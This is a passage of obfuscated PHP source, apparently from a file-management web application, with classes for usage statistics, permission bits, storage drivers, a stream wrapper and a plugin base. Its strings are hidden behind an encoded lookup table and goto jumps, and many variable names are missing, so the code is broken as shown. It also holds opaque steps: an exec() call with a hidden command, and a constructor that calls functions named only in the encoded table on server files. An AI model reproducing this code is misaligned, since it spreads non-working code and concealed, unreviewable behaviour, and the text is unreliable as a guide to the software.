$[1798] => (int) $Ɩ, $[1799] => $); } private function optionFile() { $ȕ =& $_SERVER[Ȣ]; $ = $this->sourceSize(); $ = $[$ȕ[90]]; $▰ = $[$ȕ[1768]]; $պ = Model($ȕ[842])->where(array($ȕ[416] => 0))->count($ȕ[408]); $ڨ = array($ȕ[416] => 0, $ȕ[207] => array($ȕ[1026], strtotime(date($ȕ[1775])))); $Ξ = Model($ȕ[842])->where($ڨ)->sum($ȕ[90]); $Ģ = Model($ȕ[842])->where($ڨ)->count($ȕ[408]); return array($ȕ[780] => $, $ȕ[1768] => $▰, $ȕ[1800] => $ - $▰, $ȕ[1801] => (int) $Ξ, $ȕ[782] => (int) $պ, $ȕ[1802] => (int) $Ģ); } private function optionAccess() { $Չ戭 =& $_SERVER[Ȣ]; return array($Չ戭[776] => $this->typeLogCnt(), $Չ戭[118] => $this->typeLogCnt($Չ戭[118]), $Չ戭[455] => $this->typeLogCnt($Չ戭[455]), $Չ戭[1803] => $this->typeLogCnt($Չ戭[1803]), $Չ戭[1804] => $this->typeLogCnt($Չ戭[1804]), $Չ戭[602] => $this->typeLogCnt($Չ戭[12], $Չ戭[1779])); } private function typeLogCnt($ = '', $呋 = "\x69\144") { $ =& $_SERVER[Ȣ]; $Ҿڢ = array($[118] => array($[1805], $[1806]), $[455] => array($[1807], $[1808]), $[1803] => array($[1809], $[1810], $[1811]), $[1804] => array($[1812], $[1813]), $[1814] => array($[1815], $[1816], $[1817])); $ = strtotime(date($[1775])); $ڴҨ = array($[207] => array($[1026], $)); if ($) { $ڴҨ[$[33]] = array($[7], $Ҿڢ[$]); } $ = Model($[1778])->where($ڴҨ)->count($呋); return (int) $; } private function optionServer() { $Ӂ =& $_SERVER[Ȣ]; $ˑ = $this->diskDriver(); $ۥ = KodIO::defaultDriver(); $ = array($Ӂ[834] => $ۥ[$Ӂ[405]]); $ = Model($Ӂ[475])->where($)->sum($Ӂ[90]); $֥ = explode($Ӂ[53], $_SERVER[$Ӂ[154]]); $Îր = $֥[0]; $Ӊ = $GLOBALS[$Ӂ[6]][$Ӂ[21]]; $ = $Ӊ[$Ӂ[988]]; if ($ == $Ӂ[976]) { $̤ = explode($Ӂ[1282], $Ӊ[$Ӂ[987]]); $ = $̤[0]; } if ($ == $Ӂ[924] || $ == $Ӂ[821]) { $ = Model()->db()->query($Ӂ[1818]); $ = $[0] && isset($[0][$Ӂ[1565]]) ? $[0][$Ӂ[1565]] : 0; $ = $Ӂ[1819] . ($ ? $Ӂ[8] . $ : $Ӂ[12]); } $г = $GLOBALS[$Ӂ[6]][$Ӂ[357]][$Ӂ[844]]; return array($Ӂ[1820] => $ˑ ? $ˑ[$Ӂ[1821]] : 0, $Ӂ[1822] => $ˑ ? $ˑ[$Ӂ[1823]] : 0, $Ӂ[1824] => (int) $ۥ[$Ӂ[1821]] * 1024 * 1024 * 1024, $Ӂ[1825] => (int) $, $Ӂ[1826] => ucfirst($Îր), $Ӂ[1827] => $Ӂ[1828] . PHP_VERSION, $Ӂ[1829] => phpBuild64() ? 64 : 32, $Ӂ[775] => str_replace($Ӂ[1142], $Ӂ[1004], $), $Ӂ[357] => ucfirst($г), $Ӂ[32] => $_SERVER[$Ӂ[1830]]); } private function diskDriver() { $ =& $_SERVER[Ȣ]; $ = $[8]; $ޢ = $GLOBALS[$[6]][$[1298]] == $[1299]; if ($ޢ) { $ = $[1831]; if (function_exists($[1832])) { exec($[1833], $䏒); $ = $䏒[1] . $[8]; } } if (!file_exists($)) { return; } $ަ = @disk_total_space($); $ = $ަ - @disk_free_space($); return array($[1821] => $ަ, $[1823] => $); } public function fileChart($) { $֞ =& $_SERVER[Ȣ]; if (isset($[$֞[1666]])) { return Model($֞[842])->userFileTypeProfile($[$֞[1666]]); } if (isset($[$֞[1834]])) { return Model($֞[842])->groupFileTypeProfile($[$֞[1834]]); } $ = $this->sourceSize(); $ = array($֞[503] => 0, $֞[417] => 1); $ڠ = Model($֞[842])->where($)->sum($֞[90]); $[$֞[417]] = 2; $ = Model($֞[842])->where($)->sum($֞[90]); return array($֞[780] => $[$֞[90]], $֞[1768] => $[$֞[1768]], $֞[1769] => (int) $ڠ, $֞[1770] => (int) $); } private function sourceSize() { $恥 =& $_SERVER[Ȣ]; $죕Ѣ = Model($恥[842])->where(array($恥[416] => 0))->sum($恥[90]); $˦ = Model($恥[475])->sum($恥[90]); if ($˦ > $죕Ѣ) { $˦ = $죕Ѣ; } return array($恥[90] => (int) $죕Ѣ, $恥[1768] => (int) $˦); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $Ф =& $_SERVER[Ȣ]; $ = array(array($Ф[426] => LNG($Ф[1835]), $Ф[1836] => $Ф[1837], $Ф[1838] => 1, $Ф[1839] => 1, $Ф[1840] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($Ф[426] => LNG($Ф[1841]), $Ф[1836] => $Ф[1842], $Ф[1838] => 2, $Ф[1839] => 1, $Ф[1840] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($Ф[426] => LNG($Ф[1843]), $Ф[1836] => $Ф[1844], $Ф[1838] => 3, $Ф[1839] => 1, $Ф[1840] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($Ф[426] => LNG($Ф[1845]), $Ф[1836] => $Ф[1846], $Ф[1838] => 4, $Ф[1839] => 1, $Ф[1840] => self::AUTH_SHOW | self::AUTH_VIEW), array($Ф[426] => LNG($Ф[1847]), $Ф[1836] => $Ф[1848], $Ф[1838] => 5, $Ф[1839] => 1, $Ф[1840] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($Ф[426] => LNG($Ф[1849]), $Ф[1836] => $Ф[1850], $Ф[1838] => 6, $Ф[1839] => 1, $Ф[1840] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($Ф[426] => LNG($Ф[1851]), $Ф[1836] => $Ф[1852], $Ф[1838] => 7, $Ф[1839] => 1, $Ф[1840] => 0)); return $; } public static function authCheck($ܪ, $۱) { $ܪ = intval($ܪ); if ($GLOBALS[$_SERVER[Ȣ][508]]) { return !0; } if ($ܪ <= 0) { return !1; } if (($ܪ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ܪ & $۱); } public static function authCheckShow($) { return self::authCheck($, self::AUTH_SHOW); } public static function authCheckView($) { return self::authCheck($, self::AUTH_VIEW); } public static function authCheckDownload($ʼ) { return self::authCheck($ʼ, self::AUTH_DOWNLOAD); } public static function authCheckUpload($π) { return self::authCheck($π, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function authCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($) { return self::authCheck($, self::AUTH_COMMENT); } public static function authCheckEvent($ԥ) { return self::authCheck($ԥ, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($ᮮ, $ݓ) { $ =& $_SERVER[Ȣ]; $ = array($[1853] => self::AUTH_VIEW, $[1209] => self::AUTH_DOWNLOAD, $[118] => self::AUTH_UPLOAD, $[1804] => self::AUTH_EDIT, $[1803] => self::AUTH_REMOVE, $[1814] => self::AUTH_SHARE, $[362] => self::AUTH_COMMENT, $[1654] => self::AUTH_EVENT, $[1854] => self::AUTH_ROOT); if (!isset($[$ݓ])) { return; } $躀 = $[$ݓ]; $ᮮ = intval($ᮮ); if ($ᮮ <= 0) { return !1; } if (($ᮮ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ᮮ & $躀); } public static function authDisable($˦, $) { if (intval($˦) <= 0) { return 0; } return intval($˦) & ~$; } public $optionType = "\123\x79\163\x74\145\155\x2e\163\157\165\162\x63\x65\x41\165\164\150\x4c\151\163\164"; public $field = array("\156\141\x6d\145", "\141\x75\x74\150", "\x6c\x61\x62\x65\x6c", "\x64\151\163\x70\154\x61\x79", "\x73\x79\x73\x74\145\155", "\x73\157\x72\x74"); public function initData() { $σ = $this->authDefault(); foreach ($σ as $) { $this->add($); } } public function findAuth($, $㒨) { $֮ =& $_SERVER[Ȣ]; $ = parent::listData(); foreach ($ as $é) { $ = intval($é[$֮[419]]); if ($ <= 0 || $é[$֮[1855]] == 0) { continue; } if (($ & $) != $) { continue; } if (($ & $㒨) != 0) { continue; } return $é[$֮[405]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ӫ栖 = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $ӫ栖); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function listData($ = false, $܈¡ = "\x73\157\x72\x74", $ = false) { return parent::listData($, $܈¡, $); } public function update($», $˞) { $ =& $_SERVER[Ȣ]; $ = parent::listData($»); $У = $this->findByName($˞[$[32]]); if (!$ || $У && $У[$[405]] != $[$[405]]) { return !1; } $this->filterAuth($˞[$[419]]); return parent::update($», $˞); } public function remove($) { $̻ = parent::listData($); if (!$̻ || $̻[$_SERVER[Ȣ][1286]]) { return !1; } return parent::remove($); } public function add($Բï = array()) { $ =& $_SERVER[Ȣ]; if ($this->findByName($Բï[$[32]])) { return !1; } $Ң = array($[32] => $[12], $[419] => 1, $[1856] => $[1844], $[1855] => 1, $[1286] => 0, $[1857] => 0); $Բï = array_merge($Ң, $Բï); $Բï[$[1857]] = $this->getSort(); $this->filterAuth($Բï[$[419]]); return parent::insert($Բï); } private function getSort() { $ߩ =& $_SERVER[Ȣ]; $Ļ = parent::listData(); $ = array_to_keyvalue($Ļ, $ߩ[12], $ߩ[1857]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$) { if (!$) { return; } $ţ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $߅ = array(); foreach ($ţ as $) { if ($ & $) { $߅[] = $; } } if (in_array(self::AUTH_ROOT, $߅)) { $ = array_sum($ţ); return; } $ݺ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($߅ as $) { if (isset($ݺ[$])) { $߅ = array_merge($߅, $ݺ[$]); } } $߅[] = self::AUTH_SHOW; $ = array_sum(array_unique($߅)); } public function sort($, $ٱ) { return parent::update($, $ٱ); } } goto C݇; b枯: define($_SERVER[Ȣ][612], $_SERVER[Ȣ][613]); $ilatdhfwko = $_SERVER[Ȣ][614]; if (!$ilatdhfwko) { return; } goto E; a: define($_SERVER[Ȣ][0], $_SERVER[Ȣ][1]); $_SERVER[] = explode($_SERVER[Ȣ][2], gzinflate(substr($_SERVER[Ȣ][3], 10, -8))); function binCheckEq($, $) { return $ == $; } goto e; f: class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } protected function infoParse($ߺ, $ = false) { $ծ =& $_SERVER[Ȣ]; return Action($ծ[1185])->sharePathInfo($this->pathParse[$ծ[88]], !0, $); } public function listPath($姗, $Ң = false) { $ =& $_SERVER[Ȣ]; $Û = IO::listPath($姗, $Ң); if (!$Û) { return $Û; } if (is_array($Û[$[1346]])) { $ = Action($[1355])->parsePathChildren($Û[$[1346]], array($[427] => $姗)); $Û[$[1346]] = Action($[1185])->shareItemInfo($); } foreach ($Û as $Ѵ => $쟺) { if (!in_array($Ѵ, array($[86], $[87]))) { continue; } foreach ($쟺 as $ => $) { $ = Action($[1355])->parsePathChildren($, array($[427] => $姗)); $Û[$Ѵ][$] = Action($[1185])->shareItemInfo($); } } return $Û; } public function listAll($֒) { $ͭ =& $_SERVER[Ȣ]; $Ѫ = IO::listAll($֒); foreach ($Ѫ as &$Τ׳) { $ = IO::info($Τ׳[$ͭ[88]]); $ = is_array($) ? $ : array(); $Τ׳ = array_merge($, $Τ׳); $Τ׳[$ͭ[97]] = Action($ͭ[1185])->shareItemInfo($Τ׳); } unset($Τ׳); return $Ѫ; } } class PathDriverEDS extends PathDriverMinIO { public function __construct($) { parent::__construct($); } } class PathDriverEOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[Ȣ][225]); } public function uploadFormData($, $ = 3600) { $ԭ =& $_SERVER[Ȣ]; $ = $ԭ[205]; $̿ = $ԭ[1356]; $֧ = $ԭ[72]; $а = gmdate($ԭ[1357]); $ = gmdate($ԭ[768]); $ = $ԭ[1358]; $ = $ . $ԭ[12]; $æ = $ԭ[1320]; $ۄ = array($this->accessKey, $, $this->region, $֧, $); $ٸ㤌 = implode($ԭ[8], $ۄ); $ = array($ԭ[1322] => gmdate($ԭ[1321], strtotime($ԭ[1359])), $ԭ[1323] => array(array($ԭ[1325] => $this->bucket), array($ԭ[1324] => $), array($ԭ[1326], $ԭ[1327], $ԭ[12]), array($ԭ[1326], $ԭ[1360], $ԭ[12]), array($ԭ[1326], $ԭ[1361], $ԭ[12]), array($ԭ[1328] => $æ), array($ԭ[1362] => $ٸ㤌), array($ԭ[1363] => $̿), array($ԭ[1364] => $а), array($ԭ[1365] => $ ))); $ђ = base64_encode(json_encode($)); $ = hash_hmac($ԭ[1366], $, $ԭ[1367] . $this->secret, !0); $ = hash_hmac($ԭ[1366], $this->region, $, !0); $ɡ = hash_hmac($ԭ[1366], $֧, $, !0); $ = hash_hmac($ԭ[1366], $, $ɡ, !0); $⒆ = hash_hmac($ԭ[1366], $ђ, $); $ = array($ԭ[224] => $ԭ[12], $ԭ[1368] => $ԭ[12], $ԭ[1324] => $, $ԭ[1328] => $æ, $ԭ[1332] => $ђ, $ԭ[1369] => $ٸ㤌, $ԭ[1370] => $̿, $ԭ[1371] => $а, $ԭ[1372] => $ , $ԭ[1373] => $⒆, $ԭ[188] => $this->getHost()); return $; } } goto b; c: class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[Ȣ][88]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($õ) { $Ȅ = $this->fileSubstr($this->pose, $õ); $this->pose += strlen($Ȅ); return $Ȅ; } public function stream_tell() { return $this->pose; } public function stream_seek($, $) { $˥ =& $_SERVER[Ȣ]; if ($ == SEEK_SET) { $this->pose = $; } else { if ($ == SEEK_CUR) { $this->pose += $; } else { if ($ == SEEK_END) { $this->pose = $this->info[$˥[90]] + intval($); } } } if ($ < 0) { $this->pose = $this->info[$˥[90]] + $; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[Ȣ][90]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($, $) { $ޥ =& $_SERVER[Ȣ]; $ = $this->info($); return array($ޥ[1513] => 0, $ޥ[1514] => 0, $ޥ[16] => 32768 + 511, $ޥ[1515] => 0, $ޥ[1516] => 0, $ޥ[1517] => 0, $ޥ[1518] => 0, $ޥ[90] => $[$ޥ[90]], $ޥ[1519] => $[$ޥ[1387]], $ޥ[1475] => $[$ޥ[96]], $ޥ[1474] => $[$ޥ[207]], $ޥ[1520] => 0, $ޥ[1521] => 0); } static $fileInfo = array(); public function info($ށȋ) { $ = $_SERVER[Ȣ][1522]; if (isset(self::$fileInfo[$ށȋ])) { return self::$fileInfo[$ށȋ]; } if (substr($ށȋ, 0, strlen($)) != $) { return !1; } self::$fileInfo[$ށȋ] = IO::info(substr($ށȋ, strlen($))); return self::$fileInfo[$ށȋ]; } public static function read($ۃ, $ʕ, $Л) { if (!isset(self::$_fopenCache[$ۃ])) { $ = new StreamWrapperIO(); $->stream_open($ۃ); self::$_fopenCache[$ۃ] = $; } $ = self::$_fopenCache[$ۃ]; return $->fileSubstr($ʕ, $Л); } public static function _read($, $̼҅, $标) { $ =& $_SERVER[Ȣ]; $ߚ = fopen($, $[1391]); if (!$ߚ) { return $[12]; } $³ = 8192; fseek($ߚ, $̼҅, SEEK_SET); $ = $[12]; $ = 0; while ($ < $标) { $ = min($³, $标 - $); $ .= fread($ߚ, $); $ += $; } fclose($ߚ); return $; } public function fileSubstr($ŗ, $Ќ) { $ӆ =& $_SERVER[Ȣ]; $ = $this->info[$ӆ[90]]; $˭ć = $ŗ; $ۺ = $Ќ; if ($ŗ < 0) { $ŗ = $ + $ŗ; } if ($Ќ === !1) { $Ќ = $ - $ŗ; } if ($ŗ + $Ќ > $) { $Ќ = $ - $ŗ; } if ($Ќ <= 0) { return $ӆ[12]; } if ($ŗ < 0 || $ŗ >= $ || $Ќ <= 0 || $Ќ > 1024 * 1024 * 10) { throw new Exception("\x69\157\x46\x69\x6c\145\x52\x65\x61\144\x20\145\162\162\157\162\41\40\163\x74\141\162\x74\x3d{$ŗ}\73\154\145\156\x67\164\x68\x3d{$Ќ}\73\40\x73\x69\x7a\145\75{$}\x3b"); } $ = 64 * 1024; $¤ =& self::$_chunkBuffer[$this->path]; if (!$¤) { $¤ = array(); } $ = 0; $ = 0; $ = $ӆ[12]; foreach ($¤ as $ => $) { $ = intval($); $ = $ + strlen($); if ($ŗ >= $) { continue; } if ($ŗ >= $ && $ŗ + $Ќ <= $) { return substr($, $ŗ - $, $Ќ); } break; } if (count($¤) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($ӆ[1523], $ӆ[1524] . count($¤) . "\x3b\163\x74\x61\x72\x74\75{$ŗ}\54\x6c\145\156\x67\x74\x68\x3d{$Ќ}\x3b\x70\157\163\x65\x3a{$}\x7e{$}"); throw new Exception($ӆ[1525]); } $ͽ = intval($ŗ / $) * $; $ġ = ceil(($ŗ + $Ќ) / $) * $ - $ͽ; $ۦ = IO::fileSubstr($this->path, $ͽ, $ġ); $¤[$ͽ . $ӆ[12]] = $ۦ; ksort($¤); $߳ = substr($ۦ, $ŗ - $ͽ, $Ќ); return $߳; } private function log($, $) { $η =& $_SERVER[Ȣ]; $ݱ = timeFloat() - $this->timeStart; write_log(sprintf($η[1526], $, $this->info[$η[32]], $ݱ, $), $η[1193]); } } class Message { function __construct() { } public function send($ = '', $į = array(), $Û = "\164\145\x78\164") { $ =& $_SERVER[Ȣ]; $ = array($[33] => $[1527], $[772] => $); if (in_array($Û, array($[1527], $[1528]))) { $[$[33]] = $Û; } $į = array($[520] => isset($į[$[520]]) ? $į[$[520]] : $[12], $[602] => isset($į[$[602]]) ? $į[$[602]] : $[12]); if (empty($) || empty($į[$[520]]) && empty($į[$[602]])) { return !1; } $ŗ = array($[1468] => $, $[1529] => $į); Hook::trigger($[1530], $ŗ); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ɯ =& $_SERVER[Ȣ]; if ($_SERVER[$ɯ[62]] != $_SERVER[$ɯ[1531]]) { $ = $ɯ[889]; $Ź = $ɯ[63]; $˅ = $_SERVER[$ɯ[64]] . $ɯ[65]; $ = $Ź($˅); $ձ = explode($ɯ[66], $); if (count($ձ) < $ɯ[634]) { $ɹ = $ɯ[68]; $ɹ(); } $ӄ = $ɯ[890]; $ӄ($_SERVER[$ɯ[891]]); $ӄ($_SERVER[$ɯ[64]] . $ɯ[1532]); $ = 1; while ($ > 1) { $ = $ + 4; $ț = rawurlencode($ . $ɯ[386]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($ɯ[1533]); $this->pluginName = str_replace($ɯ[1533], $ɯ[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $ɯ[8]; $this->pluginApi = appHostGet() . $ɯ[1534] . $this->pluginName . $ɯ[8]; $this->pluginHost = $config[$ɯ[1535]] . $this->pluginName . $ɯ[8]; $this->pluginHostDefault = $config[$ɯ[1535]] . $this->pluginName . $ɯ[8]; $ʯ = $config[$ɯ[1536]]; if ($ʯ && strpos($ɯ[50] . $ʯ . $ɯ[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$ɯ[1537]] . $this->pluginName . $ɯ[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[Ȣ][1538]); } protected function assign($磋, $ = false) { if (is_array($磋)) { $this->values = array_merge($this->values, $磋); } else { $this->values[$磋] = $; } } protected function display($) { extract($this->values); require $; } final function hookRegist($) { $this->modelPlugin->appRegist($this->pluginName, $); } final function appIcon() { $˵ =& $_SERVER[Ȣ]; $ = $this->appPackage(); $ = $˵[12]; if (isset($[$˵[422]])) { if (isset($[$˵[422]][$˵[1539]])) { $ = $˵[1540] . $[$˵[422]][$˵[1539]] . $˵[1541]; } else { if ($[$˵[422]][$˵[1542]]) { $ = $˵[1543] . $[$˵[422]][$˵[1542]] . $˵[1544]; } } } return $; } final function fileCanView($) { $ =& $_SERVER[Ȣ]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } $ʆ = Session::get($[1545]); if (!$ʆ || !$ʆ[$[1546]]) { $ = $[1547] . rawurlencode(this_url()); show_tips(LNG($[1548]) . $[1549] . $ . $[1550] . LNG($[1551]) . $[1552], !1); } if (!Action($[1553])->authCan($[1554])) { show_tips(LNG($[1555]) . $[1556], !1); } ActionCall($[1557], $); } final function isShare($ˆ) { $ԟ = KodIO::parse($ˆ); return $ԟ[$_SERVER[Ȣ][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($); } return Action($_SERVER[Ȣ][1185])->linkOut($); } public function filePathLinkOut($ʹ) { if (request_url_safe($ʹ)) { return $ʹ; } $this->fileCanView($ʹ); return Action($_SERVER[Ȣ][1185])->link($ʹ); } final function filePath($) { $Ń =& $_SERVER[Ȣ]; if ($ܑ = $this->checkSharePath($)) { Hook::trigger($Ń[1558], $ܑ); return $ܑ; } $this->fileCanView($); if (request_url_safe($)) { $겭 = parse_url_query($); if (isset($겭[$Ń[1559]]) && isset($겭[$Ń[222]])) { $静 = Model($Ń[787])->get($Ń[788]); $ = Mcrypt::decode($겭[$Ń[222]], $静); if ($) { $this->fileInfo = IO::infoWithChildren($); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $; } } $ = $this->_cacheHttpFile($); $this->fileInfo = IO::infoWithChildren($); } else { $this->fileInfo = IO::infoWithChildren($); if (!$this->fileInfo) { show_tips(LNG($Ń[116]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } Hook::trigger($Ń[1558], $); return $; } final function _cacheHttpFile($) { $ = hash_path($, !0); $this->cachePath = $this->pluginCachePath($); if ($җ = IO::fileNameExist($this->cachePath, $)) { return KodIO::make($җ); } $ = $this->cachePath . $; return $this->pluginCacheFileSet($, file_get_contents_nossl($)); } final function _tmpFileName($ = array()) { $ڏ =& $_SERVER[Ȣ]; if (!$) { $ = $this->fileInfo; } if (isset($[$ڏ[184]])) { return $[$ڏ[184]]; } if (isset($[$ڏ[177]][$ڏ[184]])) { return $[$ڏ[177]][$ڏ[184]]; } $ = IO::hashSimple($[$ڏ[88]]); if ($) { return $; } $ = array($[$ڏ[32]], $[$ڏ[88]], $[$ڏ[90]]); if (isset($[$ڏ[526]])) { $[] = $[$ڏ[526]]; } return md5(implode($ڏ[11], $)); } final function checkSharePath($) { $ =& $_SERVER[Ȣ]; if (!defined($[479])) { define($[519], 0); } if (!$this->isShare($)) { return !1; } $կ = Action($[1185])->sharePathInfo($); if (!isset($կ[$[88]])) { show_json(LNG($[1560]), !1); } $this->fileInfo = $կ[$[177]]; $this->cachePath = $this->pluginCachePath($this->fileInfo[$[184]]); return $կ[$[88]]; } final function pluginCachePath($ = '') { $鰰 =& $_SERVER[Ȣ]; $ڒ = IO_PATH_SYSTEM_TEMP . $鰰[1561] . $this->pluginName; if (!($֍ = IO::infoFull($ڒ))) { return IO::mkdir($ڒ . $鰰[8] . $); } if (empty($)) { return $֍[$鰰[88]]; } if (!($ = IO::fileNameExist($֍[$鰰[88]], $))) { return IO::mkdir($֍[$鰰[88]] . $); } return KodIO::make($); } final function pluginCacheFileSet($ʪ, $Ԉ = '') { $ׂ =& $_SERVER[Ȣ]; if (!($ռ = IO::infoFull($ʪ))) { return IO::mkfile($ʪ, $Ԉ, REPEAT_REPLACE); } IO::setContent($ռ[$ׂ[88]], $Ԉ); return $ռ[$ׂ[88]]; } final function pluginLocalFile($ = '') { $дȊ =& $_SERVER[Ȣ]; $粫 = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($粫)) { mk_dir($粫); } if (!$) { return $粫; } $ֲ = IO::info($); $ = $this->_tmpFileName($ֲ) . $дȊ[10] . $ֲ[$дȊ[181]]; if (!checkExtSafe($)) { $ = $ . $дȊ[1562]; } $Ƹ = $粫 . $; if (@file_exists($Ƹ)) { return $Ƹ; } return IO::copy($, $粫, 0, $); } final function appPackage() { $ =& $_SERVER[Ȣ]; if ($this->packageData) { return $this->packageData; } $ = $this->parseFile($this->pluginPath . $[1563]); $this->parseLang($); $ = json_decode_force($); if (!$) { return array(); } $͏ = Hook::trigger($[1564], $); if ($͏ && is_array($͏)) { $ = $͏; } $this->packageData = $; return $; } public function packageInfoGet($́) { $ڂ = $this->appPackage(); return array_get_value($ڂ, $́); } public function packageVersion() { return $this->packageInfoGet($_SERVER[Ȣ][1565]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[Ȣ][1566]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[Ȣ][1567]); } public function echoJsAssign($, $) { $this->echoJsAssignArr[$] = $; } private function parseFile($Ձ) { $ =& $_SERVER[Ȣ]; $葍 = file_get_contents_nossl($Ձ); $ۻϨ = array($[1568], $[1569], $[1570], $[1571], $[1572], $[1573], $[1574]); $ޥ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[100]][$[1575]]); foreach ($this->echoJsAssignArr as $ => $ı) { $ۻϨ[] = $[1576] . $ . $[1577]; $ޥ[] = is_array($ı) || is_object($ı) ? rawurlencode(json_encode($ı)) : $ı; } if (strstr($葍, $[1578])) { $ = rawurlencode(json_encode($this->pluginLangArr)); $葍 = str_replace($[1578], $, $葍); } if (strstr($葍, $[1579])) { $ = $ = rawurlencode(json_encode($this->getConfig())); $葍 = str_replace($[1579], $, $葍); } $葍 = str_replace($ۻϨ, $ޥ, $葍); return $葍; } private function parseLang(&$٩) { $ӗ =& $_SERVER[Ȣ]; $ = $ӗ[1580]; if (!strstr($٩, $)) { return; } preg_match_all($ӗ[1581], $٩, $ٽ); if (!is_array($ٽ) || count($ٽ) == 0 || !is_array($ٽ[0]) || count($ٽ[0]) == 0) { return; } $ = array(); $ͼ = array(); foreach ($ٽ[0] as $ߟ) { $ = substr($ߟ, strlen($), -4); $ = LNG($); $[] = $ߟ; $ͼ[] = str_replace(array($ӗ[66], $ӗ[1090], $ӗ[350], $ӗ[129]), array($ӗ[53], $ӗ[53], $ӗ[12], $ӗ[1582]), $); } $٩ = str_replace($, $ͼ, $٩); } private function parseConfig(&$ڝȏ) { $ =& $_SERVER[Ȣ]; $Ά = $[1583]; if (!strstr($ڝȏ, $Ά)) { return; } preg_match_all($[1584], $ڝȏ, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->getConfig(); $ = array(); $ߘ = array(); foreach ($[0] as $) { $ļ = substr($, strlen($Ά), -2); $[] = $; $ߘ[] = _get($, $ļ); } $ڝȏ = str_replace($, $ߘ, $ڝȏ); } private function parsePackage(&$͑) { $擇 =& $_SERVER[Ȣ]; $ = $擇[1585]; if (!strstr($͑, $)) { return; } preg_match_all($擇[1586], $͑, $Ძ); if (!is_array($Ძ) || count($Ძ) == 0 || !is_array($Ძ[0]) || count($Ძ[0]) == 0) { 